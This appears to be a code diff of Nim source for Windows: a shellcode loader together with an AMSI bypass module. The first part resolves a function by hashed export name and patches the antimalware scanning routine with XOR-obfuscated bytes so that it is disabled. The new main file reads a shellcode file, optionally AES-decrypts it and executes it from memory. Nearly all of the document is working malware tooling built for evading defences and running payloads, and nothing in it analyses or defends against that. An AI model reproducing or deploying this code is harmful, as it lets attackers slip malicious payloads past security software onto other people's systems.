proc hashExport(p: ptr UncheckedArray[uint8]): uint64 =
result = fnvBasis
var i = 0
while p[i] != 0:
result = (result xor uint64(p[i])) * fnvPrime
inc i
proc findByHash(base: uint, target: uint64): pointer =
let dos = cast[ptr IMAGE_DOS_HEADER](base)
let nt = cast[ptr IMAGE_NT_HEADERS64](base + uint(dos.e_lfanew))
let expRva = uint(nt.OptionalHeader.DataDirectory[0].VirtualAddress)
if expRva == 0: return nil
let exp = cast[ptr IMAGE_EXPORT_DIRECTORY](base + expRva)
let names = cast[ptr UncheckedArray[DWORD]](base + uint(exp.AddressOfNames))
let ords = cast[ptr UncheckedArray[WORD]](base + uint(exp.AddressOfNameOrdinals))
let fns = cast[ptr UncheckedArray[DWORD]](base + uint(exp.AddressOfFunctions))
for i in 0 ..< int(exp.NumberOfNames):
let namePtr = cast[ptr UncheckedArray[uint8]](base + uint(names[i]))
if hashExport(namePtr) == target:
return cast[pointer](base + uint(fns[ords[i]]))
return nil
proc patchAmsi*() =
let dllName = decodeStr(encDll)
let hAmsi = cast[uint](LoadLibraryA(dllName))
if hAmsi == 0: return
let fn = findByHash(hAmsi, scanHash)
if fn == nil: return
var old: DWORD = 0
discard VirtualProtect(fn, 3, PAGE_EXECUTE_READWRITE, addr old)
let p = cast[ptr UncheckedArray[uint8]](fn)
p[0] = encPatch[0] xor xorKey
p[1] = encPatch[1] xor xorKey
p[2] = encPatch[2] xor xorKey
discard VirtualProtect(fn, 3, old, addr old)
+70
View File
@@ -0,0 +1,70 @@
import winim
import std/os
import std/strutils
import amsi
proc aesDecrypt(data: var seq[byte]; key, iv: openArray[byte]) =
var
hAlg: BCRYPT_ALG_HANDLE = nil
hKey: BCRYPT_KEY_HANDLE = nil
cbResult: ULONG = 0
ivCopy = newSeq[byte](iv.len)
copyMem(addr ivCopy[0], unsafeAddr iv[0], iv.len)
discard BCryptOpenAlgorithmProvider(addr hAlg, BCRYPT_AES_ALGORITHM, nil, 0)
var cbcMode = BCRYPT_CHAIN_MODE_CBC
discard BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
cast[PUCHAR](addr cbcMode), ULONG(sizeof(cbcMode)), 0)
discard BCryptGenerateSymmetricKey(hAlg, addr hKey, nil, 0,
cast[PUCHAR](unsafeAddr key[0]), ULONG(key.len), 0)
discard BCryptDecrypt(hKey,
cast[PUCHAR](addr data[0]), ULONG(data.len), nil,
cast[PUCHAR](addr ivCopy[0]), ULONG(iv.len),
cast[PUCHAR](addr data[0]), ULONG(data.len),
addr cbResult, 0)
BCryptDestroyKey(hKey)
BCryptCloseAlgorithmProvider(hAlg, 0)
data.setLen(cbResult.int)
proc parseHexBytes(s: string): seq[byte] =
let clean = s.replace(" ", "").replace(",", "").replace("0x", "")
result = newSeq[byte](clean.len div 2)
for i in 0 ..< result.len:
result[i] = byte(parseHexInt(clean[i*2 .. i*2+1]))
proc main() =
patchAmsi()
if paramCount() < 1:
quit(1)
let filename = paramStr(1)
var f: File
if not open(f, filename, fmRead):
quit(1)
let size = f.getFileSize().int
var shellcode = newSeq[byte](size)
discard f.readBuffer(addr shellcode[0], size)
f.close()
if paramCount() >= 3:
let key = parseHexBytes(paramStr(2))
let iv = parseHexBytes(paramStr(3))
if key.len != 32 or iv.len != 16:
quit(1)
aesDecrypt(shellcode, key, iv)
let buf = VirtualAlloc(nil, SIZE_T(shellcode.len),
MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
if buf == nil: quit(1)
copyMem(buf, addr shellcode[0], shellcode.len)
var oldProtect: DWORD = 0
discard VirtualProtect(buf, SIZE_T(shellcode.len), PAGE_EXECUTE_READ, addr oldProtect)
cast[proc() {.cdecl.}](buf)()
main()